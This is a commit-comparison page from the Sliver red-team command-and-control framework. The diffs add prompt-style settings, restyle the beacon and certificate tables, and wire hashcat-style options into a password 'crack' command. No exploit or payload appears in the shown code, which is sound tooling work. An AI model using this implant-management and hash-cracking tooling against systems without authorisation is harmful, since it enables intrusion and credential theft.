Compare commits

...
Author SHA1 Message Date
moloch-- 15114138a8 Save interactive settings to disk 2026-02-08 06:32:17 -08:00
moloch-- 2716090410 Add custom prompt configurations 2026-02-08 06:28:45 -08:00
moloch-- a805161245 Add themes and console switcher 2026-02-07 15:46:17 -08:00
moloch--andCodex bdf4a6ed0d Codex changes
Co-authored-by: Codex
2026-02-07 12:54:03 -08:00
moloch-- 7db573a03e Tweak file header 2026-02-07 07:32:48 -08:00
moloch-- 0bef5491dc Fix linux --format shared builds 2026-02-07 00:26:33 -08:00
moloch-- 1c50e5a87b Remove unused tests 2026-02-06 17:53:50 -08:00
moloch-- 8dae2d0d52 v1.7.0 2026-02-06 17:50:35 -08:00
Joe 023776f7e3 Merge pull request #2165 from BishopFox/crack/basic
Update gRPC APIs
2026-02-06 18:48:21 -07:00
moloch-- b7566a3b09 Update client grpc to modern apis 2026-02-06 17:31:08 -08:00
moloch-- b889e2eb6f Fix merge 2026-02-06 16:30:53 -08:00
moloch-- 4466ace279 Merge master 2026-02-06 16:29:39 -08:00
Joe 2b65089b27 Merge pull request #2164 from BishopFox/fix/dns-dos
Fix/dns dos
2026-02-06 15:41:17 -07:00
moloch-- 87d5fd53a8 Add e2e dns c2 tests 2026-02-06 13:54:07 -08:00
moloch-- cf79a2d284 Merge patch for oversized msg size checks 2026-02-06 12:16:03 -08:00
moloch-- 6d0276ff67 Add more tests for dns gc 2026-02-06 11:56:55 -08:00
moloch-- 9b001ab88e Remove totp from dns c2, implement pending msg gc 2026-02-06 11:40:00 -08:00
Joe 503218f3f4 Merge pull request #2163 from BishopFox/feature/exec-bg
Feature/exec bg
2026-02-06 10:44:20 -07:00
moloch-- 495dce0987 Improve error and nil checks in mtls comms 2026-02-06 08:22:26 -08:00
moloch-- a7ff35c229 Tweak selection form height 2026-02-06 07:58:17 -08:00
moloch-- 162fc4fb8a Merge branch 'feature/background-execute-flag' into feature/exec-bg 2026-02-06 07:31:10 -08:00
moloch-- 636ea0a9b2 Cleanup execute children output 2026-02-06 07:31:01 -08:00
moloch-- 84ed9bc4e7 Merge branch 'feature/background-execute-flag' into feature/exec-bg 2026-02-06 07:27:57 -08:00
moloch-- b985d8ff9f Fix cmd group help 2026-02-06 07:27:50 -08:00
moloch-- 5a43705e1d Merge branch 'feature/background-execute-flag' into feature/exec-bg 2026-02-06 07:13:34 -08:00
Joe 76af248850 Merge pull request #2162 from BishopFox/darwin/shellcode
Darwin/arm64 Shellcode
2026-02-06 07:59:56 -07:00
moloch-- 628757250e Add execute background flag 2026-02-05 20:56:07 -08:00
moloch-- 25d242230b Rengerate pb 2026-01-30 15:10:02 -08:00
moloch-- b4345226c1 Merge branch 'feature/shellcode-encoders' into crack/basic 2026-01-30 15:09:21 -08:00
moloch-- c9f4970e4b Add crack db models 2026-01-29 19:35:39 -08:00
moloch-- e72fa3dbd0 Switch crack.yaml to snake case 2026-01-29 16:30:51 -08:00
moloch-- 2e93ce5684 Merge branch 'master' into crack/basic 2026-01-29 16:16:43 -08:00
moloch-- 828838cddf Re-add new gprc server config fields 2026-01-29 05:52:41 -08:00
moloch-- 16c1dc21fd Merge master 2026-01-29 05:47:18 -08:00
moloch-- 33c656d082 Implement first part of crack cmd 2026-01-24 18:28:07 -08:00
moloch-- 99a44e340f Improve crack benchmark output 2026-01-24 11:50:20 -08:00
moloch-- de5fa3458b Allow keep alives 2026-01-23 17:05:53 -08:00
128 changed files with 9267 additions and 4209 deletions

No files matched your search

-1
View File
@@ -42,4 +42,3 @@ See the [wiki](https://sliver.sh/docs?name=Compile+from+Source).
### License - GPLv3
Sliver is licensed under [GPLv3](https://www.gnu.org/licenses/gpl-3.0.en.html), some sub-components may have separate licenses. See their respective subdirectories in this project for details.
+53
View File
@@ -22,6 +22,7 @@ import (
"encoding/json"
"os"
"path/filepath"
"strings"
"gopkg.in/yaml.v3"
)
@@ -31,6 +32,18 @@ const (
settingsLegacyFileName = "tui-settings.json"
)
const (
// Accepted values for tui-settings.yaml "prompt:":
// - host: show "[host]" prefix on sliver-client, "[server]" on server console
// - operator-host: show "[operator@host]" prefix on sliver-client, "[server]" on server console
// - basic: show "sliver >" (no prefix)
// - custom: render full prompt from prompt_template
PromptStyleHost = "host"
PromptStyleOperatorHost = "operator-host"
PromptStyleBasic = "basic"
PromptStyleCustom = "custom"
)
// ClientSettings - Client JSON config
type ClientSettings struct {
TableStyle string `json:"tables" yaml:"tables"`
@@ -41,6 +54,8 @@ type ClientSettings struct {
VimMode bool `json:"vim_mode" yaml:"vim_mode"`
UserConnect bool `json:"user_connect" yaml:"user_connect"`
ConsoleLogs bool `json:"console_logs" yaml:"console_logs"`
PromptStyle string `json:"prompt" yaml:"prompt"`
PromptTemplate string `json:"prompt_template" yaml:"prompt_template"`
}
// LoadSettings - Load the client settings from disk
@@ -67,6 +82,8 @@ func LoadSettings() (*ClientSettings, error) {
return defaultSettings(), err
}
// Ensure any missing/unknown values are coerced to a supported prompt style.
settings.PromptStyle = NormalizePromptStyle(settings.PromptStyle)
if err := SaveSettings(settings); err != nil {
return settings, err
}
@@ -78,6 +95,38 @@ func LoadSettings() (*ClientSettings, error) {
return settings, nil
}
// NormalizePromptStyle canonicalizes prompt style strings and returns a safe
// default if the value is empty/unknown.
func NormalizePromptStyle(v string) string {
switch strings.ToLower(strings.TrimSpace(v)) {
case PromptStyleOperatorHost:
return PromptStyleOperatorHost
case PromptStyleHost:
return PromptStyleHost
case PromptStyleBasic:
return PromptStyleBasic
case PromptStyleCustom:
return PromptStyleCustom
// Backward compatible aliases.
case "show host":
return PromptStyleHost
case "show user and host":
return PromptStyleOperatorHost
case "show operator and host":
return PromptStyleOperatorHost
case "operator@host":
return PromptStyleOperatorHost
case "user@host":
return PromptStyleOperatorHost
case "":
return PromptStyleHost
default:
return PromptStyleHost
}
}
func defaultSettings() *ClientSettings {
return &ClientSettings{
TableStyle: "SliverDefault",
@@ -87,9 +136,13 @@ func defaultSettings() *ClientSettings {
AlwaysOverflow: false,
VimMode: false,
ConsoleLogs: true,
PromptStyle: PromptStyleHost,
PromptTemplate: DefaultPromptTemplate,
}
}
const DefaultPromptTemplate = `{{- if .IsServer -}}{{ .Styles.Bold.Render "[server]" }} {{ .Styles.Underline.Render "sliver" }}{{ .Target.Suffix }} > {{- else -}}{{- if .Host -}}{{ .Styles.BoldPrimary.Render (printf "[%s]" .Host) }} {{- end -}}{{ .Styles.Underline.Render "sliver" }}{{ .Target.Suffix }} > {{- end -}}`
// SaveSettings - Save the current settings to disk
func SaveSettings(settings *ClientSettings) error {
rootDir, _ := filepath.Abs(GetRootAppDir())
+22
View File
@@ -21,6 +21,8 @@ always_overflow: true
vim_mode: true
user_connect: true
console_logs: false
prompt: "basic"
prompt_template: "{{.Host}}"
`)
if err := os.WriteFile(settingsPath, data, 0o600); err != nil {
t.Fatalf("failed to write yaml settings: %v", err)
@@ -54,6 +56,12 @@ console_logs: false
if settings.ConsoleLogs {
t.Fatalf("expected ConsoleLogs false")
}
if settings.PromptStyle != PromptStyleBasic {
t.Fatalf("expected PromptStyle %q, got %q", PromptStyleBasic, settings.PromptStyle)
}
if settings.PromptTemplate != "{{.Host}}" {
t.Fatalf("expected PromptTemplate %q, got %q", "{{.Host}}", settings.PromptTemplate)
}
}
func TestLoadSettingsMigratesLegacyJSON(t *testing.T) {
@@ -71,6 +79,8 @@ func TestLoadSettingsMigratesLegacyJSON(t *testing.T) {
VimMode: true,
UserConnect: true,
ConsoleLogs: false,
PromptStyle: PromptStyleOperatorHost,
PromptTemplate: "{{.Operator}}@{{.Host}} sliver > ",
}
data, err := json.MarshalIndent(legacy, "", " ")
if err != nil {
@@ -87,6 +97,12 @@ func TestLoadSettingsMigratesLegacyJSON(t *testing.T) {
if settings.TableStyle != "Legacy" {
t.Fatalf("expected TableStyle %q, got %q", "Legacy", settings.TableStyle)
}
if settings.PromptStyle != PromptStyleOperatorHost {
t.Fatalf("expected PromptStyle %q, got %q", PromptStyleOperatorHost, settings.PromptStyle)
}
if settings.PromptTemplate != "{{.Operator}}@{{.Host}} sliver > " {
t.Fatalf("expected PromptTemplate %q, got %q", "{{.Operator}}@{{.Host}} sliver > ", settings.PromptTemplate)
}
if _, err := os.Stat(filepath.Join(rootDir, settingsFileName)); err != nil {
t.Fatalf("expected yaml settings to exist: %v", err)
}
@@ -108,6 +124,12 @@ func TestLoadSettingsWritesDefault(t *testing.T) {
if settings.TableStyle != "SliverDefault" {
t.Fatalf("expected default TableStyle %q, got %q", "SliverDefault", settings.TableStyle)
}
if settings.PromptStyle != PromptStyleHost {
t.Fatalf("expected default PromptStyle %q, got %q", PromptStyleHost, settings.PromptStyle)
}
if settings.PromptTemplate != DefaultPromptTemplate {
t.Fatalf("expected default PromptTemplate %q, got %q", DefaultPromptTemplate, settings.PromptTemplate)
}
rootDir, _ := filepath.Abs(GetRootAppDir())
if _, err := os.Stat(filepath.Join(rootDir, settingsFileName)); err != nil {
t.Fatalf("expected default settings to be written: %v", err)
+6 -6
View File
@@ -26,16 +26,16 @@ import (
"github.com/bishopfox/sliver/client/forms"
)
func selectConfig() *assets.ClientConfig {
func selectConfig() (string, *assets.ClientConfig) {
configs := assets.GetConfigs()
if len(configs) == 0 {
return nil
return "", nil
}
if len(configs) == 1 {
for _, config := range configs {
return config
for key, config := range configs {
return key, config
}
}
@@ -49,8 +49,8 @@ func selectConfig() *assets.ClientConfig {
err := forms.Select("Select a server:", keys, &selection)
if err != nil {
fmt.Println(err.Error())
return nil
return "", nil
}
return configs[selection]
return selection, configs[selection]
}
+26
View File
@@ -0,0 +1,26 @@
package cli
import (
"context"
"fmt"
"os"
"google.golang.org/grpc"
"google.golang.org/grpc/connectivity"
)
func handleConnectionLost(ln *grpc.ClientConn) {
if ln == nil {
return
}
currentState := ln.GetState()
// currentState should be "Ready" when the connection is established.
if ln.WaitForStateChange(context.Background(), currentState) {
newState := ln.GetState()
// newState will be "Idle" if the connection is lost.
if newState == connectivity.Idle {
fmt.Println("\nLost connection to server. Exiting now.")
os.Exit(1)
}
}
}
+4 -29
View File
@@ -19,9 +19,7 @@ package cli
*/
import (
"context"
"fmt"
"os"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/command"
@@ -30,7 +28,6 @@ import (
"github.com/bishopfox/sliver/protobuf/rpcpb"
"github.com/spf13/cobra"
"google.golang.org/grpc"
"google.golang.org/grpc/connectivity"
)
// consoleCmd generates the console with required pre/post runners.
@@ -46,8 +43,6 @@ func consoleCmd(con *console.SliverClient) *cobra.Command {
}
func consoleRunnerCmd(con *console.SliverClient, run bool) (pre, post func(cmd *cobra.Command, args []string) error) {
var ln *grpc.ClientConn
pre = func(cmd *cobra.Command, _ []string) error {
configs := assets.GetConfigs()
@@ -55,7 +50,7 @@ func consoleRunnerCmd(con *console.SliverClient, run bool) (pre, post func(cmd *
fmt.Printf("No config files found at %s (see --help)\n", assets.GetConfigDir())
return nil
}
config := selectConfig()
configKey, config := selectConfig()
if config == nil {
return nil
}
@@ -72,40 +67,20 @@ func consoleRunnerCmd(con *console.SliverClient, run bool) (pre, post func(cmd *
}
var rpc rpcpb.SliverRPCClient
var ln *grpc.ClientConn
rpc, ln, err = transport.MTLSConnect(config)
if err != nil {
fmt.Printf("Connection to server failed %s", err)
return nil
}
// Wait for any connection state changes and exit if the connection is lost.
go handleConnectionLost(ln)
return console.StartClient(con, rpc, command.ServerCommands(con, nil), command.SliverCommands(con), run, rcScript)
return console.StartClient(con, rpc, ln, &console.ConnectionDetails{ConfigKey: configKey, Config: config}, command.ServerCommands(con, nil), command.SliverCommands(con), run, rcScript)
}
// Close the RPC connection once exiting
post = func(_ *cobra.Command, _ []string) error {
if ln != nil {
return ln.Close()
}
return nil
return con.CloseConnection()
}
return pre, post
}
func handleConnectionLost(ln *grpc.ClientConn) {
currentState := ln.GetState()
// currentState should be "Ready" when the connection is established.
if ln.WaitForStateChange(context.Background(), currentState) {
newState := ln.GetState()
// newState will be "Idle" if the connection is lost.
if newState == connectivity.Idle {
fmt.Println("\nLost connection to server. Exiting now.")
os.Exit(1)
}
}
}
+15 -15
View File
@@ -428,7 +428,7 @@ func PrintArmoryPackages(aliases []*alias.AliasManifest, exts []*extensions.Exte
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
tw.SetTitle(console.Bold + "Packages" + console.Normal)
tw.SetTitle(console.StyleBold.Render("Packages"))
urlMargin := 150 // Extra margin needed to show URL column
@@ -493,26 +493,26 @@ func PrintArmoryPackages(aliases []*alias.AliasManifest, exts []*extensions.Exte
rows := []table.Row{}
for _, pkg := range entries {
color := console.Normal
style := console.StyleNormal
if extensions.CmdExists(pkg.CommandName, sliverMenu.Command) {
color = console.Green
style = console.StyleGreen
}
if con.Settings.SmallTermWidth+urlMargin < width {
rows = append(rows, table.Row{
fmt.Sprintf(color+"%s"+console.Normal, pkg.ArmoryName),
fmt.Sprintf(color+"%s"+console.Normal, pkg.CommandName),
fmt.Sprintf(color+"%s"+console.Normal, pkg.Version),
fmt.Sprintf(color+"%s"+console.Normal, pkg.Type),
fmt.Sprintf(color+"%s"+console.Normal, pkg.Help),
fmt.Sprintf(color+"%s"+console.Normal, pkg.URL),
style.Render(pkg.ArmoryName),
style.Render(pkg.CommandName),
style.Render(pkg.Version),
style.Render(pkg.Type),
style.Render(pkg.Help),
style.Render(pkg.URL),
})
} else {
rows = append(rows, table.Row{
fmt.Sprintf(color+"%s"+console.Normal, pkg.ArmoryName),
fmt.Sprintf(color+"%s"+console.Normal, pkg.CommandName),
fmt.Sprintf(color+"%s"+console.Normal, pkg.Version),
fmt.Sprintf(color+"%s"+console.Normal, pkg.Type),
fmt.Sprintf(color+"%s"+console.Normal, pkg.Help),
style.Render(pkg.ArmoryName),
style.Render(pkg.CommandName),
style.Render(pkg.Version),
style.Render(pkg.Type),
style.Render(pkg.Help),
})
}
}
@@ -524,7 +524,7 @@ func PrintArmoryPackages(aliases []*alias.AliasManifest, exts []*extensions.Exte
func PrintArmoryBundles(bundles []*ArmoryBundle, con *console.SliverClient) {
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
tw.SetTitle(console.Bold + "Bundles" + console.Normal)
tw.SetTitle(console.StyleBold.Render("Bundles"))
tw.AppendHeader(table.Row{
"Armory Name",
"Name",
+1 -1
View File
@@ -257,7 +257,7 @@ func displayAvailableUpdates(con *console.SliverClient, updateKeys []UpdateIdent
if len(extensionUpdates) != 1 {
extensionSuffix = "s"
}
tw.SetTitle(console.Bold + fmt.Sprintf(title, len(aliasUpdates), aliasSuffix, len(extensionUpdates), extensionSuffix) + console.Normal)
tw.SetTitle(console.StyleBold.Render(fmt.Sprintf(title, len(aliasUpdates), aliasSuffix, len(extensionUpdates), extensionSuffix)))
tw.AppendHeader(table.Row{
"Package Name",
"Package Type",
+19 -19
View File
@@ -178,10 +178,10 @@ func renderBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regex
}
for _, beacon := range beacons {
color := console.Normal
style := console.StyleNormal
activeBeacon := con.ActiveTarget.GetBeacon()
if activeBeacon != nil && activeBeacon.ID == beacon.ID {
color = console.Green
style = console.StyleGreen
}
if beacon.Integrity == "" {
beacon.Integrity = "-"
@@ -192,34 +192,34 @@ func renderBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regex
if wideTermWidth {
rowEntries = []string{
fmt.Sprintf(color+"%s"+console.Normal, strings.Split(beacon.ID, "-")[0]),
fmt.Sprintf(color+"%s"+console.Normal, beacon.Name),
fmt.Sprintf(color+"%d/%d"+console.Normal, beacon.TasksCountCompleted, beacon.TasksCount),
fmt.Sprintf(color+"%s"+console.Normal, beacon.Transport),
fmt.Sprintf(color+"%s"+console.Normal, beacon.RemoteAddress),
fmt.Sprintf(color+"%s"+console.Normal, beacon.Hostname),
fmt.Sprintf(color+"%s"+console.Normal, strings.TrimPrefix(beacon.Username, beacon.Hostname+"\\")),
fmt.Sprintf(color+"%s (%d)"+console.Normal, beacon.Filename, beacon.PID),
style.Render(strings.Split(beacon.ID, "-")[0]),
style.Render(beacon.Name),
style.Render(fmt.Sprintf("%d/%d", beacon.TasksCountCompleted, beacon.TasksCount)),
style.Render(beacon.Transport),
style.Render(beacon.RemoteAddress),
style.Render(beacon.Hostname),
style.Render(strings.TrimPrefix(beacon.Username, beacon.Hostname+"\\")),
style.Render(fmt.Sprintf("%s (%d)", beacon.Filename, beacon.PID)),
}
if windowsBeaconInList {
rowEntries = append(rowEntries, fmt.Sprintf(color+"%s"+console.Normal, beacon.Integrity))
rowEntries = append(rowEntries, style.Render(beacon.Integrity))
}
rowEntries = append(rowEntries, []string{
fmt.Sprintf(color+"%s/%s"+console.Normal, beacon.OS, beacon.Arch),
fmt.Sprintf(color+"%s"+console.Normal, beacon.Locale),
style.Render(fmt.Sprintf("%s/%s", beacon.OS, beacon.Arch)),
style.Render(beacon.Locale),
con.FormatDateDelta(time.Unix(beacon.LastCheckin, 0), wideTermWidth, false),
con.FormatDateDelta(time.Unix(beacon.NextCheckin, 0), wideTermWidth, true),
}...)
} else {
rowEntries = []string{
fmt.Sprintf(color+"%s"+console.Normal, strings.Split(beacon.ID, "-")[0]),
fmt.Sprintf(color+"%s"+console.Normal, beacon.Name),
fmt.Sprintf(color+"%s"+console.Normal, beacon.Transport),
fmt.Sprintf(color+"%s"+console.Normal, beacon.Hostname),
fmt.Sprintf(color+"%s"+console.Normal, strings.TrimPrefix(beacon.Username, beacon.Hostname+"\\")),
fmt.Sprintf(color+"%s/%s"+console.Normal, beacon.OS, beacon.Arch),
style.Render(strings.Split(beacon.ID, "-")[0]),
style.Render(beacon.Name),
style.Render(beacon.Transport),
style.Render(beacon.Hostname),
style.Render(strings.TrimPrefix(beacon.Username, beacon.Hostname+"\\")),
style.Render(fmt.Sprintf("%s/%s", beacon.OS, beacon.Arch)),
con.FormatDateDelta(time.Unix(beacon.LastCheckin, 0), wideTermWidth, false),
con.FormatDateDelta(time.Unix(beacon.NextCheckin, 0), wideTermWidth, true),
}
+12 -13
View File
@@ -2,7 +2,6 @@ package certificates
import (
"context"
"fmt"
"time"
"github.com/bishopfox/sliver/client/command/settings"
@@ -58,28 +57,28 @@ func printCertificateAuthorityInfo(con *console.SliverClient, authData []*client
}
for _, authority := range authData {
rowColor := console.Normal
rowStyle := console.StyleNormal
expiry, err := time.Parse(timeFormat, authority.ValidityExpiry)
if err == nil {
rowColor = checkCertExpiry(expiry)
rowStyle = checkCertExpiry(expiry)
}
if wideTermWidth {
tw.AppendRow(table.Row{
fmt.Sprintf(rowColor+"%s"+console.Normal, authority.ID),
fmt.Sprintf(rowColor+"%s"+console.Normal, authority.CN),
fmt.Sprintf(rowColor+"%s"+console.Normal, authority.CreationTime),
fmt.Sprintf(rowColor+"%s"+console.Normal, authority.Type),
fmt.Sprintf(rowColor+"%s"+console.Normal, authority.KeyAlgorithm),
fmt.Sprintf(rowColor+"%s"+console.Normal, authority.ValidityStart),
fmt.Sprintf(rowColor+"%s"+console.Normal, authority.ValidityExpiry),
rowStyle.Render(authority.ID),
rowStyle.Render(authority.CN),
rowStyle.Render(authority.CreationTime),
rowStyle.Render(authority.Type),
rowStyle.Render(authority.KeyAlgorithm),
rowStyle.Render(authority.ValidityStart),
rowStyle.Render(authority.ValidityExpiry),
})
} else {
tw.AppendRow(table.Row{
fmt.Sprintf(rowColor+"%s"+console.Normal, authority.ID),
fmt.Sprintf(rowColor+"%s"+console.Normal, authority.CN),
fmt.Sprintf(rowColor+"%s"+console.Normal, authority.ValidityExpiry),
rowStyle.Render(authority.ID),
rowStyle.Render(authority.CN),
rowStyle.Render(authority.ValidityExpiry),
})
}
}
+17 -18
View File
@@ -2,7 +2,6 @@ package certificates
import (
"context"
"fmt"
"time"
"github.com/bishopfox/sliver/client/command/settings"
@@ -95,22 +94,22 @@ func CertificateInfoCmd(cmd *cobra.Command, con *console.SliverClient, args []st
printCertificateInfo(con, certificateInfo.Info)
}
func checkCertExpiry(expiryTime time.Time) string {
func checkCertExpiry(expiryTime time.Time) console.TextStyle {
if expiryTime.Before(time.Now()) || expiryTime.Equal(time.Now()) {
return console.Bold + console.Red
return console.StyleBoldRed
}
// One week is 168 hours - this is bad
if expiryTime.Before(time.Now().Add(168 * time.Hour)) {
return console.Bold + console.Red
return console.StyleBoldRed
}
// One month is approximately 730 hours - this is a warning
if expiryTime.Before(time.Now().Add(730 * time.Hour)) {
return console.Bold + console.Orange
return console.StyleBoldOrange
}
return console.Normal
return console.StyleNormal
}
func printCertificateInfo(con *console.SliverClient, certData []*clientpb.CertificateData) {
@@ -148,28 +147,28 @@ func printCertificateInfo(con *console.SliverClient, certData []*clientpb.Certif
}
for _, cert := range certData {
rowColor := console.Normal
rowStyle := console.StyleNormal
expiry, err := time.Parse(timeFormat, cert.ValidityExpiry)
// This should not error out, but if it does, the row will not be colored
if err == nil {
rowColor = checkCertExpiry(expiry)
rowStyle = checkCertExpiry(expiry)
}
if wideTermWidth {
tw.AppendRow(table.Row{
fmt.Sprintf(rowColor+"%s"+console.Normal, cert.ID),
fmt.Sprintf(rowColor+"%s"+console.Normal, cert.CN),
fmt.Sprintf(rowColor+"%s"+console.Normal, cert.CreationTime),
fmt.Sprintf(rowColor+"%s"+console.Normal, cert.Type),
fmt.Sprintf(rowColor+"%s"+console.Normal, cert.KeyAlgorithm),
fmt.Sprintf(rowColor+"%s"+console.Normal, cert.ValidityStart),
fmt.Sprintf(rowColor+"%s"+console.Normal, cert.ValidityExpiry),
rowStyle.Render(cert.ID),
rowStyle.Render(cert.CN),
rowStyle.Render(cert.CreationTime),
rowStyle.Render(cert.Type),
rowStyle.Render(cert.KeyAlgorithm),
rowStyle.Render(cert.ValidityStart),
rowStyle.Render(cert.ValidityExpiry),
})
} else {
tw.AppendRow(table.Row{
fmt.Sprintf(rowColor+"%s"+console.Normal, cert.ID),
fmt.Sprintf(rowColor+"%s"+console.Normal, cert.CN),
fmt.Sprintf(rowColor+"%s"+console.Normal, cert.ValidityExpiry),
rowStyle.Render(cert.ID),
rowStyle.Render(cert.CN),
rowStyle.Render(cert.ValidityExpiry),
})
}
+4
View File
@@ -24,6 +24,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
}
flags.Bind("", true, crackCmd, func(f *pflag.FlagSet) {
f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
bindCrackFlags(f)
})
crackStationsCmd := &cobra.Command{
@@ -34,6 +35,9 @@ func Commands(con *console.SliverClient) []*cobra.Command {
CrackStationsCmd(cmd, con, args)
},
}
flags.Bind("", false, crackStationsCmd, func(f *pflag.FlagSet) {
f.Bool("show-benchmarks", false, "show benchmark rates for crackstations")
})
crackCmd.AddCommand(crackStationsCmd)
wordlistsCmd := &cobra.Command{
+326
View File
@@ -0,0 +1,326 @@
package crack
import (
"fmt"
"strconv"
"strings"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/spf13/cobra"
"github.com/spf13/pflag"
)
func shouldRunCrack(cmd *cobra.Command, args []string) bool {
if len(args) > 0 {
return true
}
hasFlag := false
cmd.Flags().VisitAll(func(flag *pflag.Flag) {
if flag.Changed && flag.Name != "timeout" {
hasFlag = true
}
})
return hasFlag
}
func buildCrackCommand(cmd *cobra.Command, args []string) (*clientpb.CrackCommand, error) {
flags := cmd.Flags()
req := &clientpb.CrackCommand{}
if flags.Changed("attack-mode") {
raw, _ := flags.GetString("attack-mode")
attackMode, err := parseCrackAttackMode(raw)
if err != nil {
return nil, err
}
req.AttackMode = attackMode
}
if flags.Changed("hash-type") {
raw, _ := flags.GetString("hash-type")
hashType, err := parseHashType(raw)
if err != nil {
return nil, err
}
req.HashType = hashType
}
hashes, _ := flags.GetStringSlice("hash")
if len(args) > 0 {
hashes = append(hashes, args...)
}
req.Hashes = hashes
req.Quiet, _ = flags.GetBool("quiet")
req.HexCharset, _ = flags.GetBool("hex-charset")
req.HexSalt, _ = flags.GetBool("hex-salt")
req.HexWordlist, _ = flags.GetBool("hex-wordlist")
req.Force, _ = flags.GetBool("force")
req.DeprecatedCheckDisable, _ = flags.GetBool("deprecated-check-disable")
req.Status, _ = flags.GetBool("status")
req.StatusJSON, _ = flags.GetBool("status-json")
req.StatusTimer, _ = flags.GetUint32("status-timer")
req.StdinTimeoutAbort, _ = flags.GetUint32("stdin-timeout-abort")
req.MachineReadable, _ = flags.GetBool("machine-readable")
req.KeepGuessing, _ = flags.GetBool("keep-guessing")
req.SelfTestDisable, _ = flags.GetBool("self-test-disable")
req.Loopback, _ = flags.GetBool("loopback")
if raw, _ := flags.GetString("markov-hcstat2"); raw != "" {
req.MarkovHcstat2 = []byte(raw)
}
req.MarkovDisable, _ = flags.GetBool("markov-disable")
req.MarkovClassic, _ = flags.GetBool("markov-classic")
req.MarkovInverse, _ = flags.GetBool("markov-inverse")
req.MarkovThreshold, _ = flags.GetUint32("markov-threshold")
req.Runtime, _ = flags.GetUint32("runtime")
req.Session, _ = flags.GetString("session")
req.Restore, _ = flags.GetBool("restore")
req.RestoreDisable, _ = flags.GetBool("restore-disable")
if raw, _ := flags.GetString("restore-file"); raw != "" {
req.RestoreFile = []byte(raw)
}
if formats, _ := flags.GetStringSlice("outfile-format"); len(formats) > 0 {
for _, raw := range formats {
format, err := parseCrackOutfileFormat(raw)
if err != nil {
return nil, err
}
req.OutfileFormat = append(req.OutfileFormat, format)
}
}
req.OutfileAutohexDisable, _ = flags.GetBool("outfile-autohex-disable")
req.OutfileCheckTimer, _ = flags.GetUint32("outfile-check-timer")
req.WordlistAutohexDisable, _ = flags.GetBool("wordlist-autohex-disable")
req.Separator, _ = flags.GetString("separator")
req.Stdout, _ = flags.GetBool("stdout")
req.Show, _ = flags.GetBool("show")
req.Left, _ = flags.GetBool("left")
req.Username, _ = flags.GetBool("username")
req.Remove, _ = flags.GetBool("remove")
req.RemoveTimer, _ = flags.GetUint32("remove-timer")
req.PotfileDisable, _ = flags.GetBool("potfile-disable")
if raw, _ := flags.GetString("potfile"); raw != "" {
req.Potfile = []byte(raw)
}
if flags.Changed("encoding-from") {
raw, _ := flags.GetString("encoding-from")
enc, err := parseCrackEncoding(raw)
if err != nil {
return nil, err
}
req.EncodingFrom = enc
}
if flags.Changed("encoding-to") {
raw, _ := flags.GetString("encoding-to")
enc, err := parseCrackEncoding(raw)
if err != nil {
return nil, err
}
req.EncodingTo = enc
}
req.DebugMode, _ = flags.GetUint32("debug-mode")
req.LogfileDisable, _ = flags.GetBool("logfile-disable")
req.HccapxMessagePair, _ = flags.GetUint32("hccapx-message-pair")
req.NonceErrorCorrections, _ = flags.GetUint32("nonce-error-corrections")
if raw, _ := flags.GetString("keyboard-layout-mapping"); raw != "" {
req.KeyboardLayoutMapping = []byte(raw)
}
req.Benchmark, _ = flags.GetBool("benchmark")
req.BenchmarkAll, _ = flags.GetBool("benchmark-all")
req.SpeedOnly, _ = flags.GetBool("speed-only")
req.ProgressOnly, _ = flags.GetBool("progress-only")
req.SegmentSize, _ = flags.GetUint32("segment-size")
req.BitmapMin, _ = flags.GetUint32("bitmap-min")
req.BitmapMax, _ = flags.GetUint32("bitmap-max")
req.CPUAffinity = uintSliceToUint32(flags, "cpu-affinity")
req.HookThreads, _ = flags.GetUint32("hook-threads")
req.HashInfo, _ = flags.GetBool("hash-info")
req.BackendIgnoreCUDA, _ = flags.GetBool("backend-ignore-cuda")
req.BackendIgnoreHip, _ = flags.GetBool("backend-ignore-hip")
req.BackendIgnoreMetal, _ = flags.GetBool("backend-ignore-metal")
req.BackendIgnoreOpenCL, _ = flags.GetBool("backend-ignore-opencl")
req.BackendInfo, _ = flags.GetBool("backend-info")
req.BackendDevices = uintSliceToUint32(flags, "backend-devices")
req.OpenCLDeviceTypes = uintSliceToUint32(flags, "opencl-device-types")
req.OptimizedKernelEnable, _ = flags.GetBool("optimized-kernel-enable")
req.MultiplyAccelDisabled, _ = flags.GetBool("multiply-accel-disabled")
if flags.Changed("workload-profile") {
raw, _ := flags.GetString("workload-profile")
profile, err := parseCrackWorkloadProfile(raw)
if err != nil {
return nil, err
}
req.WorkloadProfile = profile
}
req.KernelAccel, _ = flags.GetUint32("kernel-accel")
req.KernelLoops, _ = flags.GetUint32("kernel-loops")
req.KernelThreads, _ = flags.GetUint32("kernel-threads")
req.BackendVectorWidth, _ = flags.GetUint32("backend-vector-width")
req.SpinDamp, _ = flags.GetUint32("spin-damp")
req.HwmonDisable, _ = flags.GetBool("hwmon-disable")
req.HwmonTempAbort, _ = flags.GetUint32("hwmon-temp-abort")
req.ScryptTMTO, _ = flags.GetUint32("scrypt-tmto")
req.Skip, _ = flags.GetUint64("skip")
req.Limit, _ = flags.GetUint64("limit")
req.Keyspace, _ = flags.GetBool("keyspace")
if raw, _ := flags.GetString("rules-file"); raw != "" {
req.RulesFile = []byte(raw)
}
req.GenerateRules, _ = flags.GetUint32("generate-rules")
req.GenerateRulesFunMin, _ = flags.GetUint32("generate-rules-fun-min")
req.GenerateRulesFunMax, _ = flags.GetUint32("generate-rules-fun-max")
req.GenerateRulesFuncSel, _ = flags.GetString("generate-rules-func-sel")
req.GenerateRulesSeed, _ = flags.GetInt32("generate-rules-seed")
req.CustomCharset1, _ = flags.GetString("custom-charset1")
req.CustomCharset2, _ = flags.GetString("custom-charset2")
req.CustomCharset3, _ = flags.GetString("custom-charset3")
req.CustomCharset4, _ = flags.GetString("custom-charset4")
req.Identify, _ = flags.GetString("identify")
req.Increment, _ = flags.GetBool("increment")
req.IncrementMin, _ = flags.GetUint32("increment-min")
req.IncrementMax, _ = flags.GetUint32("increment-max")
req.SlowCandidates, _ = flags.GetBool("slow-candidates")
req.BrainServer, _ = flags.GetBool("brain-server")
